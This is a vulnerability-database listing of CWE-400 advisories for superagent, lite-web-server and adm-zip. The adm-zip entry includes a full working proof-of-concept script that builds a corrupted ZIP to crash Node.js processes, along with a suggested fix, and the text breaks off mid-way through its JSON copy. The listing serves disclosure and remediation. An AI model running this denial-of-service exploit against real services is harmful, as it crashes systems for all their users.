Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6465 vulnerabilities reference this CWE, most recent first.

GHSA-8225-6CVR-8PQP

Vulnerability from github – Published: 2018-08-09 20:13 – Updated: 2023-09-08 23:55
VLAI
Summary
superagent vulnerable to zip bomb attacks
Details

Affected versions of superagent do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a ZIP bomb attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed.

This may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.

Recommendation

Update to version 3.7.0 or later.

Severity
5.9 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "superagent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:23:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `superagent` do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed. \n\nThis may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.\n\n\n## Recommendation\n\nUpdate to version 3.7.0 or later.",
  "id": "GHSA-8225-6cvr-8pqp",
  "modified": "2023-09-08T23:55:11Z",
  "published": "2018-08-09T20:13:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/visionmedia/superagent/issues/1259"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Zip_bomb"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8225-6cvr-8pqp"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/479"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "superagent vulnerable to zip bomb attacks"
}

GHSA-8237-3Q5G-99FV

Vulnerability from github – Published: 2023-02-25 06:30 – Updated: 2023-02-27 14:56
VLAI
Summary
Denial of Service vulnerability in lite-web-server
Details

All versions of the package lite-web-server are vulnerable to Denial of Service (DoS) when an attacker sends an HTTP request and includes control characters that the decodeURI() function is unable to parse.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "lite-web-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-27T14:56:32Z",
    "nvd_published_at": "2023-02-25T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "All versions of the package lite-web-server are vulnerable to Denial of Service (DoS) when an attacker sends an HTTP request and includes control characters that the decodeURI() function is unable to parse.",
  "id": "GHSA-8237-3q5g-99fv",
  "modified": "2023-02-27T14:56:32Z",
  "published": "2023-02-25T06:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26104"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/lirantal/637520812da06fffb91dd86d02ff6bde"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chasyumen/lite-web-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chasyumen/lite-web-server/blob/main/src/WebServer.js#23L274"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-LITEWEBSERVER-3153703"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service vulnerability in lite-web-server"
}

GHSA-8238-W5PM-2374

Vulnerability from github – Published: 2026-09-29 23:10 – Updated: 2026-09-29 23:10
VLAI
Summary
adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS)
Details

Summary

Denial of Service in adm-zip's async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file.

Details

Affected package: adm-zip Affected versions: at least 0.6.0 (current latest); likely all versions containing the current inflateAsync implementation in methods/inflater.js Patched version: 0.6.1

Root Cause

methods/inflater.js:12-32 (inflateAsync) creates a zlib.createInflateRaw(option) stream and feeds it attacker-controlled compressed bytes via tmp.end(inbuf), but never registers an "error" listener on the stream:

inflateAsync: function (/*Function*/ callback) {
    var tmp = zlib.createInflateRaw(option),
        parts = [],
        total = 0;
    tmp.on("data", function (data) { parts.push(data); total += data.length; });
    tmp.on("end", function () { /* build buf, callback(buf) */ });
    tmp.end(inbuf);   // no tmp.on("error", ...) registered anywhere
}

Per Node.js EventEmitter/stream semantics, an "error" event emitted with zero listeners is rethrown as an uncaught exception on a later tick, originating from the zlib C++ binding. This cannot be caught by a try/catch wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the try/catch covers.

This code path is reached from every public async API that decompresses entry data: readFileAsync, readAsTextAsync, extractAllToAsync, and ZipEntry.getDataAsync (zipEntry.js:51, :97-120, :309-315; adm-zip.js:157-164, :192-210, :893).

This library recently patched CVE-2026-39244 (GHSA-xcpc-8h2w-3j85), an unbounded Buffer.alloc() on the synchronous decompression path. That fix added a maxOutputLength option to zlib.inflateRawSync/zlib.createInflateRaw, and the sync path's resulting throw is naturally catchable. The async path shares the same maxOutputLength option (methods/inflater.js:5) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers:

  1. A DEFLATE entry with corrupted/malformed compressed bytes (Z_DATA_ERROR) — no special crafting needed.
  2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the maxOutputLength guard — but on the stream this surfaces via the unhandled "error" event rather than a catchable throw.

Attack Vector

  1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid — only the compressed payload bytes need to be malformed.
  2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip's async APIs, e.g.: js const zip = new AdmZip(uploadedBuffer); zip.readFileAsync(zip.getEntries()[0], (data) => { /* ... */ });
  3. inflateAsync begins decompressing; zlib emits "error" on Z_DATA_ERROR.
  4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process — killing all in-flight requests for every other user/tenant on that process, not just the attacker's own request.

Impact

Any Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip's async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error.

Proof of Concept

Attached: poc_async_dos.py. Summary of what it does:

  1. Builds a fully valid ZIP using adm-zip's own writer (new AdmZip(); zip.addFile(...); zip.toBuffer()), guaranteeing correct headers/CRC/offsets.
  2. Locates the local file header's compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with 0xFF, corrupting only the DEFLATE payload.
  3. Parses the corrupted archive with a fresh new AdmZip(badBuf) (succeeds — headers are intact) and calls entries[0].getDataAsync(callback), wrapped in try/catch, in an isolated child process.
  4. Captures the child's exit code and stderr.

Verified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node zlib.createInflateRaw() fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output:

[*] Child process exit code: 1
----- Node child process stderr (crash evidence) -----
node:events:497
      throw er; // Unhandled 'error' event
      ^
Error: invalid distance too far back
    at genericNodeError (node:internal/errors:983:15)
    at Zlib.zlibOnError [as onerror] (node:zlib:191:17)
Emitted 'error' event on InflateRaw instance at:
    at emitErrorNT (node:internal/streams/destroy:170:8)
    at emitErrorCloseNT (node:internal/streams/destroy:129:3)
    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {
  errno: -3,
  code: 'Z_DATA_ERROR'
}
Node.js v22.22.1
--------------------------------------
[*] Caught by harness's own try/catch (would mean NOT vulnerable): False
[*] getDataAsync callback ever fired (would mean NOT vulnerable): False
[*] Child process exited non-zero (crashed): True
[+] VULNERABILITY CONFIRMED

Reproduction: python3 poc_async_dos.py (requires python3 and Node.js; tested on Node.js v22.22.1).

Suggested Fix

Register an "error" listener on the InflateRaw stream in methods/inflater.js's inflateAsync, and route it to the existing callback, e.g.:

inflateAsync: function (/*Function*/ callback) {
    var tmp = zlib.createInflateRaw(option),
        parts = [],
        total = 0;
    tmp.on("data", function (data) { parts.push(data); total += data.length; });
    tmp.on("error", function (err) {
        // surface as a normal async error instead of crashing the process
        callback(Buffer.alloc(0), err);   // or however this codebase's async
                                            // error convention is expressed
    });
    tmp.on("end", function () { /* existing behavior */ });
    tmp.end(inbuf);
}

The exact callback/error-propagation convention should match the rest of the codebase's async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an err-first convention, at the maintainer's discretion). The key fix is simply: never leave a Node.js stream without an "error" listener when it can plausibly error on attacker-controlled input.

Full PoC Source (poc_async_dos.py)

#!/usr/bin/env python3
"""
Tested version: adm-zip 0.6.0
Tested on: Linux, Node.js v22.22.1

Description:
  methods/inflater.js:12-32 (inflateAsync) creates a
  zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever
  registering an "error" listener on the stream. Per Node.js EventEmitter
  semantics, an "error" event emitted with zero listeners is rethrown as an
  uncaught exception -- this happens on a later tick from the zlib C++
  binding, so it CANNOT be caught by a try/catch wrapped around the calling
  code. Any code that feeds an untrusted zip file into one of adm-zip's
  public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync,
  ZipEntry.getDataAsync) crashes the entire host Node.js process the moment
  it encounters a DEFLATE entry with corrupted/malformed compressed bytes.
  The synchronous decompression path (getData()) was hardened for
  CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable);
  this async streaming path was missed by that fix and remains an
  unauthenticated, single-request availability bug.

Impact:
  Any service that accepts untrusted zip uploads and reads/extracts them
  via adm-zip's async API (the officially documented, recommended usage
  for non-blocking servers) can be crashed by a single malicious zip file,
  with no authentication and no special privileges required.

Reproduction:
  1. Install: this PoC runs directly against the adm-zip source tree this
     script lives alongside (no `npm install` needed -- it requires the
     local checkout via its package.json "main" entry, adm-zip.js).
     Requires: python3, node (tested with Node.js v22.22.1).
  2. Run: python3 poc_async_dos.py
  3. Observe: the spawned Node child process exits non-zero with an
     "Unhandled 'error' event" / Z_DATA_ERROR stack trace on stderr,
     originating from methods/inflater.js's zlib.createInflateRaw stream.
     Neither the harness's try/catch nor the getDataAsync callback ever
     fires -- proving the crash is unrecoverable from calling code.

How the malicious zip is built (see the embedded Node harness in
build_harness_script() below):
  1. Use adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`)
     to produce a fully valid, well-formed zip archive with one DEFLATE
     entry. This guarantees every header/CRC/offset field is structurally
     correct.
  2. Locate the local file header at offset 0 and compute the compressed
     data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields.
  3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE
     payload while leaving every size/offset/CRC field in the local header,
     central directory, and EOCD record byte-for-byte unchanged, so
     adm-zip's own parser still locates and slices exactly the right
     region and reaches the vulnerable inflateAsync() call.
"""

import os
import subprocess
import sys
import tempfile

# ============================================================
# Configuration
# ============================================================
PACKAGE_NAME = "adm-zip"
TARGET_VERSION = "0.6.0"
# The adm-zip source tree this PoC lives alongside (Hunter's checkout).
REPO_DIR = os.path.dirname(os.path.abspath(__file__))
NODE_BIN = "node"
SUBPROCESS_TIMEOUT_SECONDS = 20


# ============================================================
# Node.js harness (the genuine trigger -- adm-zip is a JS library, so the
# actual exploit code must run under Node; this Python script builds it,
# runs it in an isolated child process, and interprets the result).
# ============================================================
def build_harness_script(repo_dir: str) -> str:
    return r"""
"use strict";
const AdmZip = require(%(repo_dir)r);

console.log("HARNESS_START");

// Step 1: build a legitimate zip in memory using adm-zip's OWN writer, with
// one DEFLATE-compressed entry. Repetitive text compresses well and
// guarantees the DEFLATED method is chosen (not STORED).
const zip = new AdmZip();
const payload = Buffer.from(
    "The quick brown fox jumps over the lazy dog. ".repeat(200),
    "utf8"
);
zip.addFile("payload.txt", payload, "");
const goodBuf = zip.toBuffer();
console.log("BUILT_GOOD_ZIP bytes=" + goodBuf.length);

// Step 2: locate the local file header (offset 0 in this single-entry
// archive) and corrupt ONLY the compressed-data bytes in place, leaving
// every size/offset/CRC field in the local header, central directory, and
// EOCD record untouched -- so adm-zip's own parser still finds and slices
// exactly the right region and reaches the vulnerable inflateAsync() path.
const LOCSIG = 0x04034b50;
if (goodBuf.readUInt32LE(0) !== LOCSIG) {
    throw new Error("unexpected local header signature -- adm-zip writer output changed");
}
const compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ
const fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM
const extraLen = goodBuf.readUInt16LE(28); // LOCEXT
const dataStart = 30 + fileNameLen + extraLen;
const dataEnd = dataStart + compressedSize;
console.log(
    "LOCAL_HEADER compressedSize=" + compressedSize +
    " dataStart=" + dataStart + " dataEnd=" + dataEnd
);

const badBuf = Buffer.from(goodBuf); // copy, do not mutate original
for (let i = dataStart; i < dataEnd; i++) {
    badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream
}
console.log("CORRUPTED_COMPRESSED_BYTES count=" + (dataEnd - dataStart));

// Step 3: parse the corrupted archive (this succeeds -- headers are intact)
// and hit the vulnerable async decompression path.
const zip2 = new AdmZip(badBuf);
const entries = zip2.getEntries();
console.log(
    "PARSED_CORRUPT_ZIP entries=" + entries.length +
    " name=" + entries[0].entryName
);

try {
    // This is the public, documented API a real server would call on an
    // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync
    // all funnel into the same decompress(true, ...) -> inflateAsync path).
    entries[0].getDataAsync(function (data, err) {
        // If this ever fires, the library handled the error gracefully
        // (no crash) -- meaning the vulnerability is NOT present / already
        // fixed in this build.
        console.log(
            "CALLBACK_FIRED data_len=" + (data ? data.length : 0) +
            " err=" + err
        );
    });
    console.log("SYNC_CALL_RETURNED_NO_THROW");
} catch (e) {
    // If this ever fires, the bug is NOT present -- the error would be
    // synchronously catchable by ordinary calling code.
    console.log("CAUGHT_BY_TRY_CATCH: " + e.message);
}

console.log("HARNESS_END_OF_SYNCHRONOUS_CODE");
// Deliberately NOT registering process.on("uncaughtException", ...) here --
// doing so would mask the exact bug under test. A real, unmodified server
// process has no reason to install a blanket uncaughtException handler
// either; that is precisely what makes this an unrecoverable process crash.
""" % {"repo_dir": repo_dir}


# ============================================================
# Step 1: Setup
# ============================================================
def setup():
    """Verify prerequisites and write out the Node.js harness script."""
    print(f"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}")
    print(f"[*] Target adm-zip source tree: {REPO_DIR}")

    main_entry = os.path.join(REPO_DIR, "adm-zip.js")
    if not os.path.isfile(main_entry):
        print(f"[-] Cannot find adm-zip.js at {main_entry}")
        sys.exit(1)

    try:
        node_version = subprocess.run(
            [NODE_BIN, "--version"], capture_output=True, text=True, timeout=10
        )
        print(f"[*] Found Node.js: {node_version.stdout.strip()}")
    except FileNotFoundError:
        print("[-] node binary not found on PATH -- required to run this PoC")
        sys.exit(1)

    handle, harness_path = tempfile.mkstemp(prefix="admzip_async_dos_", suffix=".js")
    with os.fdopen(handle, "w") as f:
        f.write(build_harness_script(REPO_DIR))
    print(f"[*] Wrote Node harness to {harness_path}")
    return harness_path


# ============================================================
# Step 2: Trigger the vulnerability
# ============================================================
def trigger(harness_path):
    """Run the Node harness (in its own isolated child process) that builds
    the malicious zip and feeds it into adm-zip's vulnerable async API."""
    print("[*] Triggering vulnerability (spawning isolated Node subprocess)...")
    try:
        proc = subprocess.run(
            [NODE_BIN, harness_path],
            capture_output=True,
            text=True,
            timeout=SUBPROCESS_TIMEOUT_SECONDS,
            cwd=REPO_DIR,
        )
        return {
            "timed_out": False,
            "returncode": proc.returncode,
            "stdout": proc.stdout,
            "stderr": proc.stderr,
        }
    except subprocess.TimeoutExpired as e:
        return {
            "timed_out": True,
            "returncode": None,
            "stdout": (e.stdout or b"").decode(errors="replace") if isinstance(e.stdout, bytes) else (e.stdout or ""),
            "stderr": (e.stderr or b"").decode(errors="replace") if isinstance(e.stderr, bytes) else (e.stderr or ""),
        }


# ============================================================
# Step 3: Verify impact
# ============================================================
def verify(result):
    """Check that the child process crashed with an unhandled 'error' event
    originating from the async inflater, and that neither the try/catch nor
    the getDataAsync callback in the harness ever ran."""
    print("[*] Verifying impact...")
    print(f"[*] Child process exit code: {result['returncode']}")
    print()
    print("----- Node child process stdout -----")
    print(result["stdout"].rstrip())
    print("----- Node child process stderr (crash evidence) -----")
    print(result["stderr"].rstrip())
    print("--------------------------------------")
    print()

    if result["timed_out"]:
        print("[-] Harness timed out instead of crashing -- inconclusive")
        return False

    stdout = result["stdout"]
    stderr = result["stderr"]
    returncode = result["returncode"]

    reached_vuln_call = "SYNC_CALL_RETURNED_NO_THROW" in stdout
    was_caught = "CAUGHT_BY_TRY_CATCH" in stdout
    callback_fired = "CALLBACK_FIRED" in stdout
    process_crashed = returncode is not None and returncode != 0
    unhandled_error_evidence = (
        "Unhandled 'error' event" in stderr
        or "ERR_UNHANDLED_ERROR" in stderr
        or "Emitted 'error' event on InflateRaw instance" in stderr
    )

    print(f"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}")
    print(f"[*] Caught by harness's own try/catch (would mean NOT vulnerable): {was_caught}")
    print(f"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}")
    print(f"[*] Child process exited non-zero (crashed): {process_crashed}")
    print(f"[*] stderr shows an unhandled 'error' event from the InflateRaw stream: {unhandled_error_evidence}")

    success = (
        reached_vuln_call
        and not was_caught
        and not callback_fired
        and process_crashed
        and unhandled_error_evidence
    )
    return success


# ============================================================
# Main
# ============================================================
if __name__ == "__main__":
    print(f"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===")
    print(f"[*] Target version: {TARGET_VERSION}")
    print()

    harness_path = setup()
    try:
        result = trigger(harness_path)
        success = verify(result)
    finally:
        try:
            os.remove(harness_path)
            print(f"[*] Cleaned up temp harness file: {harness_path}")
        except OSError:
            pass

    print()
    if success:
        print("[+] VULNERABILITY CONFIRMED")
        print(
            "[+] Impact: a single untrusted zip file with a corrupted DEFLATE "
            "entry crashes the entire Node.js process when read via any "
            "adm-zip *Async API (readFileAsync / readAsTextAsync / "
            "extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, "
            "single-request, unrecoverable process-level Denial of Service."
        )
    else:
        print("[-] Vulnerability NOT confirmed")

    sys.exit(0 if success else 1)
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "adm-zip"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T23:10:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nDenial of Service in `adm-zip`\u0027s async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file.\n\n## Details\n\n**Affected package**: adm-zip\n**Affected versions**: at least 0.6.0 (current latest); likely all versions containing the current `inflateAsync` implementation in `methods/inflater.js`\n**Patched version**: 0.6.1\n\n### Root Cause\n\n`methods/inflater.js:12-32` (`inflateAsync`) creates a `zlib.createInflateRaw(option)` stream and feeds it attacker-controlled compressed bytes via `tmp.end(inbuf)`, but never registers an `\"error\"` listener on the stream:\n\n```js\ninflateAsync: function (/*Function*/ callback) {\n    var tmp = zlib.createInflateRaw(option),\n        parts = [],\n        total = 0;\n    tmp.on(\"data\", function (data) { parts.push(data); total += data.length; });\n    tmp.on(\"end\", function () { /* build buf, callback(buf) */ });\n    tmp.end(inbuf);   // no tmp.on(\"error\", ...) registered anywhere\n}\n```\n\nPer Node.js `EventEmitter`/stream semantics, an `\"error\"` event emitted with zero listeners is rethrown as an **uncaught exception on a later tick**, originating from the zlib C++ binding. This cannot be caught by a `try/catch` wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the `try/catch` covers.\n\nThis code path is reached from every public async API that decompresses entry data: `readFileAsync`, `readAsTextAsync`, `extractAllToAsync`, and `ZipEntry.getDataAsync` (`zipEntry.js:51`, `:97-120`, `:309-315`; `adm-zip.js:157-164`, `:192-210`, `:893`).\n\nThis library recently patched **CVE-2026-39244** (GHSA-xcpc-8h2w-3j85), an unbounded `Buffer.alloc()` on the *synchronous* decompression path. That fix added a `maxOutputLength` option to `zlib.inflateRawSync`/`zlib.createInflateRaw`, and the sync path\u0027s resulting throw is naturally catchable. The async path shares the same `maxOutputLength` option (`methods/inflater.js:5`) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers:\n\n1. A DEFLATE entry with corrupted/malformed compressed bytes (`Z_DATA_ERROR`) \u2014 no special crafting needed.\n2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the `maxOutputLength` guard \u2014 but on the stream this surfaces via the unhandled `\"error\"` event rather than a catchable throw.\n\n### Attack Vector\n\n1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid \u2014 only the compressed payload bytes need to be malformed.\n2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip\u0027s async APIs, e.g.:\n   ```js\n   const zip = new AdmZip(uploadedBuffer);\n   zip.readFileAsync(zip.getEntries()[0], (data) =\u003e { /* ... */ });\n   ```\n3. `inflateAsync` begins decompressing; zlib emits `\"error\"` on `Z_DATA_ERROR`.\n4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process \u2014 killing all in-flight requests for every other user/tenant on that process, not just the attacker\u0027s own request.\n\n## Impact\n\nAny Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip\u0027s async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error.\n\n## Proof of Concept\n\nAttached: `poc_async_dos.py`. Summary of what it does:\n\n1. Builds a fully valid ZIP using adm-zip\u0027s own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`), guaranteeing correct headers/CRC/offsets.\n2. Locates the local file header\u0027s compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with `0xFF`, corrupting only the DEFLATE payload.\n3. Parses the corrupted archive with a fresh `new AdmZip(badBuf)` (succeeds \u2014 headers are intact) and calls `entries[0].getDataAsync(callback)`, wrapped in `try/catch`, in an isolated child process.\n4. Captures the child\u0027s exit code and stderr.\n\nVerified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node `zlib.createInflateRaw()` fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output:\n\n```\n[*] Child process exit code: 1\n----- Node child process stderr (crash evidence) -----\nnode:events:497\n      throw er; // Unhandled \u0027error\u0027 event\n      ^\nError: invalid distance too far back\n    at genericNodeError (node:internal/errors:983:15)\n    at Zlib.zlibOnError [as onerror] (node:zlib:191:17)\nEmitted \u0027error\u0027 event on InflateRaw instance at:\n    at emitErrorNT (node:internal/streams/destroy:170:8)\n    at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {\n  errno: -3,\n  code: \u0027Z_DATA_ERROR\u0027\n}\nNode.js v22.22.1\n--------------------------------------\n[*] Caught by harness\u0027s own try/catch (would mean NOT vulnerable): False\n[*] getDataAsync callback ever fired (would mean NOT vulnerable): False\n[*] Child process exited non-zero (crashed): True\n[+] VULNERABILITY CONFIRMED\n```\n\nReproduction: `python3 poc_async_dos.py` (requires python3 and Node.js; tested on Node.js v22.22.1).\n\n## Suggested Fix\n\nRegister an `\"error\"` listener on the `InflateRaw` stream in `methods/inflater.js`\u0027s `inflateAsync`, and route it to the existing `callback`, e.g.:\n\n```js\ninflateAsync: function (/*Function*/ callback) {\n    var tmp = zlib.createInflateRaw(option),\n        parts = [],\n        total = 0;\n    tmp.on(\"data\", function (data) { parts.push(data); total += data.length; });\n    tmp.on(\"error\", function (err) {\n        // surface as a normal async error instead of crashing the process\n        callback(Buffer.alloc(0), err);   // or however this codebase\u0027s async\n                                            // error convention is expressed\n    });\n    tmp.on(\"end\", function () { /* existing behavior */ });\n    tmp.end(inbuf);\n}\n```\n\nThe exact callback/error-propagation convention should match the rest of the codebase\u0027s async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an `err`-first convention, at the maintainer\u0027s discretion). The key fix is simply: **never leave a Node.js stream without an `\"error\"` listener when it can plausibly error on attacker-controlled input.**\n\n## Full PoC Source (`poc_async_dos.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nTested version: adm-zip 0.6.0\nTested on: Linux, Node.js v22.22.1\n\nDescription:\n  methods/inflater.js:12-32 (inflateAsync) creates a\n  zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever\n  registering an \"error\" listener on the stream. Per Node.js EventEmitter\n  semantics, an \"error\" event emitted with zero listeners is rethrown as an\n  uncaught exception -- this happens on a later tick from the zlib C++\n  binding, so it CANNOT be caught by a try/catch wrapped around the calling\n  code. Any code that feeds an untrusted zip file into one of adm-zip\u0027s\n  public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync,\n  ZipEntry.getDataAsync) crashes the entire host Node.js process the moment\n  it encounters a DEFLATE entry with corrupted/malformed compressed bytes.\n  The synchronous decompression path (getData()) was hardened for\n  CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable);\n  this async streaming path was missed by that fix and remains an\n  unauthenticated, single-request availability bug.\n\nImpact:\n  Any service that accepts untrusted zip uploads and reads/extracts them\n  via adm-zip\u0027s async API (the officially documented, recommended usage\n  for non-blocking servers) can be crashed by a single malicious zip file,\n  with no authentication and no special privileges required.\n\nReproduction:\n  1. Install: this PoC runs directly against the adm-zip source tree this\n     script lives alongside (no `npm install` needed -- it requires the\n     local checkout via its package.json \"main\" entry, adm-zip.js).\n     Requires: python3, node (tested with Node.js v22.22.1).\n  2. Run: python3 poc_async_dos.py\n  3. Observe: the spawned Node child process exits non-zero with an\n     \"Unhandled \u0027error\u0027 event\" / Z_DATA_ERROR stack trace on stderr,\n     originating from methods/inflater.js\u0027s zlib.createInflateRaw stream.\n     Neither the harness\u0027s try/catch nor the getDataAsync callback ever\n     fires -- proving the crash is unrecoverable from calling code.\n\nHow the malicious zip is built (see the embedded Node harness in\nbuild_harness_script() below):\n  1. Use adm-zip\u0027s own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`)\n     to produce a fully valid, well-formed zip archive with one DEFLATE\n     entry. This guarantees every header/CRC/offset field is structurally\n     correct.\n  2. Locate the local file header at offset 0 and compute the compressed\n     data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields.\n  3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE\n     payload while leaving every size/offset/CRC field in the local header,\n     central directory, and EOCD record byte-for-byte unchanged, so\n     adm-zip\u0027s own parser still locates and slices exactly the right\n     region and reaches the vulnerable inflateAsync() call.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\n\n# ============================================================\n# Configuration\n# ============================================================\nPACKAGE_NAME = \"adm-zip\"\nTARGET_VERSION = \"0.6.0\"\n# The adm-zip source tree this PoC lives alongside (Hunter\u0027s checkout).\nREPO_DIR = os.path.dirname(os.path.abspath(__file__))\nNODE_BIN = \"node\"\nSUBPROCESS_TIMEOUT_SECONDS = 20\n\n\n# ============================================================\n# Node.js harness (the genuine trigger -- adm-zip is a JS library, so the\n# actual exploit code must run under Node; this Python script builds it,\n# runs it in an isolated child process, and interprets the result).\n# ============================================================\ndef build_harness_script(repo_dir: str) -\u003e str:\n    return r\"\"\"\n\"use strict\";\nconst AdmZip = require(%(repo_dir)r);\n\nconsole.log(\"HARNESS_START\");\n\n// Step 1: build a legitimate zip in memory using adm-zip\u0027s OWN writer, with\n// one DEFLATE-compressed entry. Repetitive text compresses well and\n// guarantees the DEFLATED method is chosen (not STORED).\nconst zip = new AdmZip();\nconst payload = Buffer.from(\n    \"The quick brown fox jumps over the lazy dog. \".repeat(200),\n    \"utf8\"\n);\nzip.addFile(\"payload.txt\", payload, \"\");\nconst goodBuf = 